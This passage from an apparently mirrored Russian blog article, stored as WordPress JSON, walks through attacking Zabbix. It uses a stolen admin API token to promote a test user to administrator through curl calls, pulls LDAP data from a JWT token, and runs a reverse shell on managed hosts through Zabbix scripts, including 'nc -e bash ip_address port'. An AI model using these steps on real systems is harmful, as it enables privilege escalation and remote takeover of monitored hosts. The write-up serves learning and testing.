\u043c\u0438\u043d\u0438\u043c\u0443\u043c) \u0438 Python.<\/p>\n<p>\u0414\u0432\u0438\u0433\u0430\u0435\u043c\u0441\u044f \u0434\u0430\u043b\u044c\u0448\u0435. \u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u0441\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d \u0430\u0434\u043c\u0438\u043d\u0430 \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e API, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0432 \u0432\u0435\u0431 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 Zabbix&#8217;a.<\/p>\n<h3>\u041f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u0440\u043e\u043b\u0438 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0447\u0435\u0440\u0435\u0437 API<\/h3>\n<p>\u041f\u043e\u043a\u043e\u043f\u0430\u0432\u0448\u0438\u0441\u044c \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438, \u043d\u0430\u0448\u0435\u043b \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0441\u043c\u0435\u043d\u0438\u0442\u044c \u0440\u043e\u043b\u044c \u043d\u0430\u0448\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f<br \/> \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0441\u043f\u0438\u0441\u043a\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438:<br \/> <code>curl -X POST -k http:\/\/ip_address\/api_jsonrpc.php -H 'Content-Type: application\/json' -d '{\"jsonrpc\":\"2.0\",\"method\":\"user.get\",\"params\":{\"output\":\"extend\"},\"auth\":\"1a53530682a7722fba0d6633e98ab64b\",\"id\":1}' | grep \"test_cve\"<\/code> <\/p>\n<figure class=\"full-width\"><\/figure>\n<p> \u0418\u0437 \u044d\u0442\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0438\u0437\u0432\u043b\u0435\u0447\u044c userid \u043d\u0430\u0448\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f &#171;test_cve&#187; \u0438 \u0435\u0433\u043e roleid (userid:3 &amp; roleid:5)<br \/> \u0418 \u0432 \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 (userid:1 &amp; roleid:3)<\/p>\n<figure class=\"full-width\"><\/figure>\n<p> \u0422\u0435\u043f\u0435\u0440\u044c \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0441\u043c\u0435\u043d\u0438\u0442\u044c \u0440\u043e\u043b\u044c \u043d\u0430\u0448\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f<br \/> \u0417\u0430\u043f\u0440\u043e\u0441 (\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f auth \u0442\u043e\u043a\u0435\u043d \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440):<br \/> <code>curl -X POST -k http:\/ip_address\/api_jsonrpc.php -H 'Content-Type: application\/json' -d '{\"jsonrpc\":\"2.0\",\"method\":\"user.update\",\"params\":{\"userid\":\"3\", \"roleid\":\"3\"},\"auth\":\"1a53530682a7722fba0d6633e98ab64b\",\"id\":1}'<\/code><br \/> \u041e\u0442\u0432\u0435\u0442<br \/> {&#171;jsonrpc&#187;:&#187;2.0&#8243;,&#187;result&#187;:{&#171;userids&#187;:[&#171;3&#8243;]},&#187;id&#187;:1}<br \/> \u0420\u043e\u043b\u044c \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0441\u043c\u0435\u043d\u0438\u043b\u0430\u0441\u044c, \u0442\u0435\u043f\u0435\u0440\u044c \u043d\u0430\u0448 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u0440\u043e\u043b\u044c\u044e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0432\u0441\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0432 \u0432\u0435\u0431 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435<\/p>\n<figure class=\"full-width\"><\/figure>\n<h3>\u0413\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u0435<\/h3>\n<h3>LDAP<\/h3>\n<p>\u0414\u0430\u043b\u0435\u0435 \u043c\u043e\u0436\u0435\u043c \u0437\u0430\u0439\u0442\u0438 \u0432 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 LDAP, \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043c\u0435\u043d\u044f\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0438 \u043e\u0442\u043b\u043e\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 c \u0447\u0435\u043c-\u0442\u043e \u043f\u043e\u0445\u043e\u0436\u0438\u043c \u043d\u0430 JWT \u0442\u043e\u043a\u0435\u043d:<\/p>\n<figure class=\"full-width\"><\/figure>\n<p> \u041f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0432 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d (\u043d\u0430 jwt.io), \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u0440\u0430\u0437\u0432\u0438\u0442\u044c \u0430\u0442\u0430\u043a\u0443 \u0434\u0430\u043b\u044c\u0448\u0435 :<\/p>\n<figure class=\"full-width\"><\/figure>\n<p> \u041a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435, \u044d\u0442\u043e\u0442 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0443\u043c\u0435\u0441\u0442\u0435\u043d \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0435\u0441\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d LDAP<\/p>\n<h3>\u0423\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Zabbix<\/h3>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 (\u043f\u043e\u0434\u0440\u0430\u0437\u0443\u043c\u0435\u0432\u0430\u0435\u043c, \u0447\u0442\u043e \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434):<br \/> \u0417\u0430\u0434\u0430\u0435\u043c \u0438\u043c\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u0430 -&gt; Type: Script -&gt; Execute on (\u0432\u044b\u0431\u0438\u0440\u0430\u0435\u043c \u0433\u0434\u0435 \u0434\u0430\u043d\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f) -&gt; Commands \u0438 \u0432\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c \u0441\u0430\u043c \u0441\u043a\u0440\u0438\u043f\u0442 (\u0431\u0440\u0430\u043b \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 Python3 \u043d\u0430 revshells.com, \u043c\u043e\u0436\u043d\u043e \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0447\u0442\u043e-\u0442\u043e \u0432\u0438\u0434\u0430 &#171;nc -e bash ip_address port&#187;, \u043d\u043e nc\/ncat \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043d\u0435 \u043d\u0430 \u0432\u0441\u0435\u0445 \u0445\u043e\u0441\u0442\u0430\u0445, \u043a \u0442\u043e\u043c\u0443 \u0436\u0435 \u0443 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d \u0442\u0440\u0438\u0433\u0435\u0440 \u043d\u0430 nc\/ncat, \u0441\u0447\u0438\u0442\u0430\u044e \u0447\u0442\u043e python\/python3 \u043a\u0430\u0436\u0435\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c)<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0430\u0435\u043c\u0441\u044f \u0432 &#171;Actions&#187; \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0435\u0441\u043b\u0438 \u0430\u0433\u0435\u043d\u0442\u044b \u0443 \u043d\u0430\u0441 \u043f\u0430\u0441\u0441\u0438\u0432\u043d\u044b\u0435, \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u043c\u044b \u0432\u0441\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043b\u0438 (\/etc\/zabbix\/zabbix_agentd.conf, \u0441\u0442\u0440\u043e\u043a\u0430 ServerActive \u0437\u0430\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0438 \u0438\u043c\u0435\u0435\u0442\u0441\u044f \u0441\u0442\u0440\u043e\u043a\u0430 &#171;EnableRemoteCommands=1&#187;), \u0442\u043e \u043c\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u043f\u043e\u0439\u043c\u0430\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u043e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0445\u043e\u0441\u0442\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c rev shell<\/p>\n<figure class=\"\"><\/figure>\n<p>\u0418 \u0432\u043e\u0442 \u043d\u0430\u0448 \u0448\u0435\u043b \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0414\u0435\u043b\u0430\u0435\u043c \u0432\u044b\u0432\u043e\u0434, \u0447\u0442\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0432 \u0434\u043e\u0441\u0442\u0443\u043f \u0434\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0437\u0430\u0431\u0431\u0438\u043a\u0441\u0430 \u0441 \u0440\u043e\u043b\u044c\u044e \u0441\u0443\u043f\u0435\u0440\u0430\u0434\u043c\u0438\u043d\u0430(\u0438\u043b\u0438 \u043b\u044e\u0431\u043e\u0439 \u0434\u0440\u0443\u0433\u043e\u0439, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u044b), \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u044b \u0434\u043e \u0434\u0440\u0443\u0433\u0438\u0445 \u0445\u043e\u0441\u0442\u043e\u0432 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0437\u0430\u0431\u0431\u0438\u043a\u0441, \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0445 \u0445\u043e\u0441\u0442\u0430\u0445.<\/p>\n<p>\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u043f\u0440\u043e\u0431\u0443\u044e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e API:<\/p>\n<ol>\n<li>\n<p>\u041f\u043e\u043b\u0443\u0447\u0438\u043c \u0442\u043e\u043a\u0435\u043d <code>curl -X POST -k http:\/\/ip_address\/api_jsonrpc.php -H 'Content-Type: application\/json' -d '{\"jsonrpc\":\"2.0\",\"method\":\"user.login\",\"params\":{ \"user\":\"test_cve\", \"password\":\"p2ssw0rd123\"},\"id\":1}'<\/code> <\/p>\n<figure class=\"full-width\"><\/figure>\n<\/li>\n<li>\n<p>\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0443\u0437\u043b\u0435 \u043f\u043e \u0438\u043c\u0435\u043d\u0438 (\u0432\u044b\u0434\u0435\u043b\u0438\u043c hostid:10516) <code>curl -X POST -k http:\/\/ip_address\/api_jsonrpc.php -H 'Content-Type: application\/json' -d '{\"jsonrpc\":\"2.0\",\"method\":\"host.get\",\"params\":{\"filter\": {\"host\": [\"hostname\"]} },\"auth\":\"fc523f26d819f5cccddcd830675514b5\",\"id\":1}'<\/code> <\/p>\n<figure class=\"full-width\"><\/figure>\n<\/li>\n<li>\n<p>\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0441\u043f\u0438\u0441\u043a\u0430 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432: <code>curl -X POST -k http:\/\/ip_address\/api_jsonrpc.php -H 'Content-Type: application\/json' -d '{\"jsonrpc\":\"2.0\",\"method\":\"script.get\",\"params\":{\"output\":\"extend\"},\"auth\":\"588af5565413e089b84a4869c7fa12e4\",\"id\":1}'<\/code> \u0412\u044b\u0434\u0435\u043b\u044f\u0435\u043c \u043d\u0443\u0436\u043d\u044b\u0439 \u043d\u0430\u043c scriptid (scriptid:5) <\/p>\n<figure class=\"full-width\"><\/figure>\n<\/li>\n<li>\n<p>\u0418 \u043d\u0430\u043c \u0432\u044b\u0434\u0430\u0441\u0442 \u043e\u0448\u0438\u0431\u043a\u0443 {&#171;jsonrpc&#187;:&#187;2.0&#8243;,&#187;error&#187;:{&#171;code&#187;:-32500,&#187;message&#187;:&#187;Application error.&#187;,&#187;data&#187;:&#187;Script is not allowed in manual host action: scope:1&#8243;},&#187;id&#187;:1} <\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041f\u043e\u0442\u043e\u043c\u0443 \u043a\u0430\u043a \u043f\u0440\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043c\u044b \u043d\u0435 \u0443\u043a\u0430\u0437\u0430\u043b\u0438 \u0440\u0443\u0447\u043d\u043e\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0432\u043e \u0432\u043a\u043b\u0430\u0434\u043a\u0435 \u0441\u043a\u043e\u0443\u043f \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u043b\u044f \u0442\u0435\u0441\u0442\u0430 \u0441\u043e\u0437\u0434\u0430\u043b \u043a\u043b\u043e\u043d \u043d\u0430\u0448\u0435\u0433\u043e \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430, \u0438\u0437\u043c\u0435\u043d\u0438\u0432 \u0441\u043a\u043e\u0443\u043f.<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0418\u0437\u043c\u0435\u043d\u0438\u0432 scriptid \u043d\u0430\u0448 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b\u0441\u044f <code>curl -X POST -k<\/code><\/p>\n<\/li>\n<\/ol>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-446455","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/446455","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=446455"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/446455\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=446455"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=446455"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=446455"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}